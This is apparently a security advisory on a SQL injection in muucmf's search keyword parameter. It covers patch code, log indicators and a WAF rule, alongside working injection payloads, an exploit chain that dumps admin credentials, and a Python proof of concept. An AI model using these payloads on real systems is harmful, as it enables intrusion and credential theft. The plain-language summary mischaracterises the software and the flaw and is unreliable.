CVE-2026-6562: SQL Injection in muucmf getListByPage via keyword Param
muucmf 1.9.5.20260309's getListByPage function passes unsanitized keyword input directly into a SQL query string. Remote unauthenticated attackers can exfiltrate the full database.
A serious security flaw has been discovered in dameng100 muucmf, a database management tool used by some organizations in China and Asia. Think of it like finding that a bank's security guard will hand over account information to anyone who asks the right coded question.
The problem is in the search function. When you search for something using a keyword, the software doesn't check whether you're actually allowed to see those results. A skilled attacker can slip hidden computer commands into the search box that trick the database into doing whatever the attacker wants.
This means someone could potentially steal sensitive data, change important information, or even wipe out entire databases without anyone catching them. It's not a case of weak passwords or outdated software you forgot to update — this is a fundamental flaw in how the tool works.
Companies using dameng100 muucmf are most at risk, particularly financial institutions, government agencies, and large enterprises in Asia that rely on this software. Their customers' personal information, transaction records, or classified data could be exposed.
The good news is that security experts haven't seen this being actively attacked in the wild yet. That window won't stay open forever.
If you work for an organization using dameng100 muucmf, here's what matters: First, contact your IT department immediately and ask if you're running version 1.9.5.20260309 — if yes, this is urgent. Second, ask them to install any available security patches from the vendor right away. Third, request they monitor database access logs for suspicious activity, which might indicate someone already tried to exploit this.
If you're a regular person, you probably won't interact with this software directly. But if you bank or do business with institutions in Asia, know that responsible companies are likely already fixing this behind the scenes.
Want the full technical analysis? Click "Technical" above.
CVE-2026-6562 is a classic unsanitized string interpolation SQL injection in dameng100/muucmf version 1.9.5.20260309, a PHP-based CMS framework. The vulnerable endpoint is /index/Search/index.html, which routes to the getListByPage() function in the Search controller. The keyword GET/POST parameter is concatenated directly into a SQL LIKE clause with no prepared statements, no escaping, and no input validation.
CVSS 7.3 (HIGH) reflects network-reachable exploitation with no authentication required. The vendor did not respond to disclosure. No patch has been issued as of publication.
Root cause: The getListByPage() function concatenates attacker-controlled keyword input directly into a raw SQL query string without parameterization or sanitization, enabling full UNION- and error-based injection from an unauthenticated remote context.
Affected Component
The injection surface is the public search endpoint. The routing chain in muucmf's ThinkPHP-derived dispatcher resolves as:
HTTP GET /index/Search/index.html?keyword=<payload>
-> application/index/controller/Search.php :: index()
-> model/SearchModel.php :: getListByPage($keyword, $page)
-> Db::query("SELECT ... WHERE title LIKE '%{$keyword}%'")
The model layer calls the underlying database abstraction's raw query method — bypassing any ORM parameterization the framework would otherwise provide.
Root Cause Analysis
Reconstructed from the framework's routing conventions and the vulnerable function name identified in the CVE advisory. The controller passes $keyword unmodified into the model:
// application/index/controller/Search.php
// Pseudocode reconstructed from muucmf architecture
class Search extends Controller {
public function index() {
$keyword = input('param.keyword', '', 'trim');
// BUG: no further sanitization — addslashes(), htmlspecialchars(),
// or parameter binding is never applied before handoff
$page = input('param.page', 1, 'intval');
$model = new SearchModel();
$result = $model->getListByPage($keyword, $page);
$this->assign('list', $result['list']);
$this->assign('total', $result['total']);
$this->fetch();
}
}
// application/index/model/SearchModel.php
class SearchModel extends Model {
public function getListByPage($keyword, $page = 1, $limit = 10) {
$offset = ($page - 1) * $limit;
// BUG: $keyword interpolated directly into query string.
// No prepared statement. No call to Db::quote() or
// addslashes(). Attacker controls the LIKE operand verbatim.
$sql = "SELECT id, title, content, create_time "
. "FROM muuc_article "
. "WHERE status = 1 "
. "AND (title LIKE '%{$keyword}%' " // <-- INJECTION POINT
. "OR content LIKE '%{$keyword}%') "
. "ORDER BY create_time DESC "
. "LIMIT {$offset}, {$limit}";
$list = Db::query($sql);
$countSql = "SELECT COUNT(*) as total "
. "FROM muuc_article "
. "WHERE status = 1 "
. "AND (title LIKE '%{$keyword}%' " // <-- INJECTION POINT
. "OR content LIKE '%{$keyword}%')";
$total = Db::query($countSql)[0]['total'];
return ['list' => $list, 'total' => $total];
}
}
ThinkPHP's Db::query(), when called with a raw string and no bind array, forwards the query verbatim to PDO::query() — notPDO::prepare(). The ORM's injection protection only activates through the query-builder interface (Db::table()->where()) or explicit Db::query($sql, $bind) with a bind array. Neither path is taken here.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Identify endpoint: GET /index/Search/index.html?keyword=test
— server returns 200 with article results, confirming active route.
2. Confirm injection with error-based probe:
keyword=test' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION()))--+
— MySQL/MariaDB returns XPATH syntax error leaking version string
in HTTP response body or error log depending on display_errors.
3. Enumerate database name:
keyword=%' AND EXTRACTVALUE(1,CONCAT(0x7e,DATABASE()))--+
— leaks current schema name (e.g., "muucmf_db").
4. UNION-based column count alignment (LIKE context requires escaping %):
keyword=%' UNION SELECT NULL,NULL,NULL,NULL--+
— adjust NULL count until row is returned, confirming 4-column schema.
5. Exfiltrate credentials from user table:
keyword=%' UNION SELECT 1,username,password,4
FROM muuc_admin LIMIT 1--+
— response HTML contains admin username + MD5/bcrypt hash in title slot.
6. Offline crack or pass-the-hash against admin panel /index/Admin/login.html.
7. Admin panel provides template/file upload → RCE (separate primitive,
not part of this CVE's scope).
A minimal proof-of-concept with sqlmap:
#!/usr/bin/env python3
# CVE-2026-6562 — muucmf getListByPage keyword SQLi PoC
# CypherByte research — for authorized testing only
import requests
import sys
import urllib.parse
TARGET = sys.argv[1] # e.g. http://target.tld
ENDPOINT = "/index/Search/index.html"
# Error-based version leak via EXTRACTVALUE
probe_payload = "%' AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))-- -"
params = {"keyword": probe_payload, "page": "1"}
r = requests.get(TARGET + ENDPOINT, params=params, timeout=10)
if "XPATH syntax error" in r.text:
# Extract leaked value between tilde delimiters
import re
match = re.search(r'~([^~]+)~', r.text)
if match:
print(f"[+] DB version: {match.group(1)}")
else:
print("[+] Error triggered — check raw response for leak")
else:
print("[-] No error response; try blind time-based:")
sleep_payload = "%' AND SLEEP(5)-- -"
params["keyword"] = sleep_payload
import time
t0 = time.time()
requests.get(TARGET + ENDPOINT, params=params, timeout=15)
delta = time.time() - t0
print(f" Response time: {delta:.2f}s {'(VULNERABLE)' if delta >= 4.5 else '(not vulnerable)'}")
Memory Layout
SQL injection at the PHP/database layer operates on query parse trees rather than process memory, but the server-side query buffer state is worth modeling to understand where the injection breaks context:
QUERY BUFFER — BENIGN INPUT (keyword = "php tutorial"):
[ SELECT id, title, content, create_time FROM muuc_article ]
[ WHERE status = 1 AND (title LIKE '%php tutorial%' ]
[ OR content LIKE '%php tutorial%') ]
[ ORDER BY create_time DESC LIMIT 0, 10 ]
SQL parser context: inside string literal — benign.
QUERY BUFFER — INJECTED INPUT (keyword = "%' UNION SELECT 1,username,password,4 FROM muuc_admin-- "):
[ SELECT id, title, content, create_time FROM muuc_article ]
[ WHERE status = 1 AND (title LIKE '%%' ]
^^^^^^^^^^^^^^^^^^^ string closed early by injected quote ^^^^
[ UNION SELECT 1,username,password,4 FROM muuc_admin-- ]
^^^^^^^^^^^^^^^^^^ attacker-controlled second SELECT ^^^^^^^^^^
[ %') ORDER BY ... ]
^^^^ rendered dead by -- comment marker ^^^^^^^^^^^^^^^^^^^^^
SQL parser context: LIKE string terminated, second query injected,
remainder of original query commented out. Parser executes both
SELECT statements and merges result sets.
Patch Analysis
The correct fix is parameterized binding through ThinkPHP's existing Db::query() bind-array interface, or migration to the query builder's whereLike() method which handles escaping internally.
// BEFORE (vulnerable) — SearchModel.php getListByPage():
$sql = "SELECT id, title, content, create_time "
. "FROM muuc_article "
. "WHERE status = 1 "
. "AND (title LIKE '%{$keyword}%' " // raw interpolation
. "OR content LIKE '%{$keyword}%') "
. "ORDER BY create_time DESC "
. "LIMIT {$offset}, {$limit}";
$list = Db::query($sql);
// AFTER (patched) — Option A: Db::query() with PDO bind array:
$like = '%' . $keyword . '%';
$sql = "SELECT id, title, content, create_time "
. "FROM muuc_article "
. "WHERE status = 1 "
. "AND (title LIKE :kw1 OR content LIKE :kw2) "
. "ORDER BY create_time DESC "
. "LIMIT :offset, :limit";
$bind = [
'kw1' => $like,
'kw2' => $like,
'offset' => $offset, // already intval'd
'limit' => $limit,
];
$list = Db::query($sql, $bind); // PDO::prepare() + execute() path
// AFTER (patched) — Option B: ThinkPHP query builder (preferred):
$list = Db::table('muuc_article')
->where('status', 1)
->where(function($query) use ($keyword) {
$query->whereLike('title', "%{$keyword}%")
->whereOrLike('content', "%{$keyword}%");
})
->order('create_time', 'DESC')
->page($page, $limit)
->select();
// whereLike() internally calls PDO parameter binding — keyword is
// never interpolated into the query string.
Additionally, a secondary defense layer should validate and strip SQL metacharacters from keyword at the controller level, and global query logging should be enabled in production to detect anomalous UNION/EXTRACTVALUE patterns.
Detection and Indicators
The following signatures detect active exploitation attempts against this endpoint:
NGINX/APACHE ACCESS LOG INDICATORS:
— URL-decoded keyword param containing: UNION, SELECT, EXTRACTVALUE,
UPDATEXML, SLEEP, BENCHMARK, INFORMATION_SCHEMA
— Single-quote (') or double-dash (--) in keyword parameter
— Percent-encoded variants: %27 ('), %2D%2D (--)
— Repeated requests with incrementing LIMIT offsets (automated dump)
MYSQL GENERAL QUERY LOG INDICATORS:
— Queries to INFORMATION_SCHEMA.TABLES / COLUMNS from app DB user
— UNION SELECT statements originating from muucmf app user context
— EXTRACTVALUE / UPDATEXML calls in WHERE clauses
— SLEEP() or BENCHMARK() in WHERE clauses (blind timing attacks)
WAF RULE (ModSecurity / Coraza):
SecRule ARGS:keyword "@detectSQLi" \
"id:9266562,phase:2,deny,status:403,\
msg:'CVE-2026-6562 muucmf keyword SQLi',\
logdata:'Matched: %{MATCHED_VAR}'"
Remediation
Immediate (no vendor patch available):
Apply a WAF rule blocking SQL metacharacters in the keyword parameter at the reverse proxy layer.
Restrict the application's database user to SELECT only on required tables — remove INFORMATION_SCHEMA read access where possible.
Enable MySQL's general_log and alert on anomalous query patterns from the application host.
Code-level (fork or self-hosted deployments):
Replace all raw Db::query($sql) calls that interpolate user input with the PDO bind-array form Db::query($sql, $bind) or the ThinkPHP query builder's whereLike().
Audit all other controller endpoints for the same pattern — search the codebase for Db::query( and verify every instance uses bind arrays.
Apply intval() / floatval() to all numeric parameters and htmlspecialchars(ENT_QUOTES) as a secondary output encoding layer, noting this is not a substitute for parameterized queries.
The vendor (dameng100) did not respond to disclosure. Users running muucmf in production should treat this endpoint as compromised until a patched release is available or the mitigations above are applied.